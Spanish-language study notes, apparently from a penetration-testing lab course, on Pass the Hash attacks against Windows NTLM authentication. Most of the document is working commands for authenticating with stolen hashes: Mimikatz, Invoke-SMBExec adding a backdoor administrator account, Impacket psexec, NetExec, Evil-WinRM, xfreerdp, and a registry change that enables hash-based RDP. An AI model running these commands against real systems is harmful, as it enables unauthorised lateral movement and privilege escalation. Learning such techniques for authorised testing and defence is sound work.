Pass the Hash (PtH)
📌 ¿Qué es?
-
Pass the Hash (PtH) es un ataque donde el atacante utiliza directamente el hash NTLM de una contraseña en lugar de la contraseña en texto plano.
-
⚠️ No necesita crackear el hash → puede autenticarse tal cual.
-
🧑💻 Funciona porque NTLM no añade salt → el hash siempre será el mismo hasta que la contraseña cambie.
-
🎯 Objetivo: moverse lateralmente en la red, acceder a otros equipos y escalar privilegios.
📥 Obtención de hashes
Para poder usar PtH necesitamos primero obtener los hashes de usuarios. Algunos métodos:
-
🗃️ SAM (Security Account Manager) → base de datos local de Windows con hashes de contraseñas locales.
-
🏛️ NTDS.dit (Active Directory) → contiene todos los hashes de cuentas del dominio.
-
💾 LSASS.exe (Local Security Authority Subsystem Service) → proceso en memoria que almacena credenciales.
🔐 NTLM
-
🔄 NTLM (New Technology LAN Manager) = protocolo de autenticación de Microsoft.
-
🧩 Proceso desafío-respuesta → el cliente nunca envía la contraseña en claro.
-
❌ Problema: los hashes NTLM no tienen salt → si tienes el hash, puedes autenticarte.
-
🪟 Microsoft usa Kerberos como autenticación principal desde Windows 2000, pero NTLM aún existe por compatibilidad → vector de ataque actual.
🖥️ Ataques en Windows
🧩 Mimikatz
- Herramienta clásica para volcado de credenciales y PtH.
mimikatz.exe privilege::debug "sekurlsa::pth /user:<usuario> /rc4:<hash> /domain:<dominio> /run:cmd.exe"
-
🔎 Parámetros:
-
/user→ usuario a suplantar 👤 -
/rc4o/NTLM→ hash NTLM 🔑 -
/domain→ dominio o máquina 🏛️ -
/run→ proceso a ejecutar (ejemplo: cmd.exe)
-
📌 Resultado → se abre un cmd.exe con contexto del usuario suplantado.

⚡ PowerShell – Invoke-TheHash
-
Script en PowerShell para ejecutar PtH.
-
Métodos:
-
SMBExec → ejecutar comandos vía SMB.
-
WMIExec → ejecutar comandos vía WMI.
-
-
Ejemplo con SMBExec:
Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash <HASH> -Command "net user mark Password123 /add && net localgroup administrators mark /add"
✅ Permite incluso crear usuarios o lanzar reverse shells.
🐧 Linux
🛠️ Impacket (psexec)
impacket-psexec administrator@10.129.201.126 -hashes :<HASH>
📌 Otras variantes:
-
wmiexec -
atexec -
smbexec

🌐 NetExec
-
Autenticación masiva en red.
-
--local-authpara hashes locales.
netexec smb 10.129.201.126 -u Administrator -H <HASH> -x whoami
✅ Si muestra Pwn3d!, acceso admin local.
🕹️ Evil-WinRM
evil-winrm -i 10.129.201.126 -u Administrator -H <HASH>
- Uso de hash NTLM para conexión PowerShell remota.
🖥️ RDP con xfreerdp
xfreerdp /v:10.129.201.126 /u:julio /pth:<HASH>
📌 Requiere Restricted Admin Mode habilitado.

📌 Requiere Restricted Admin Mode habilitado.

Esto se puede habilitar agregando una nueva clave de registro DisableRestrictedAdmin (REG_DWORD) en HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa con el valor de 0. Se puede hacer usando el siguiente comando:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f

⚠️ Limitaciones UAC
-
🔧 LocalAccountTokenFilterPolicy = 0 → solo Admin RID-500 puede tareas remotas.
-
🔧 = 1 → otros admins locales también.
-
🚫 Con
FilterAdministratorToken = 1→ incluso RID-500 restringido.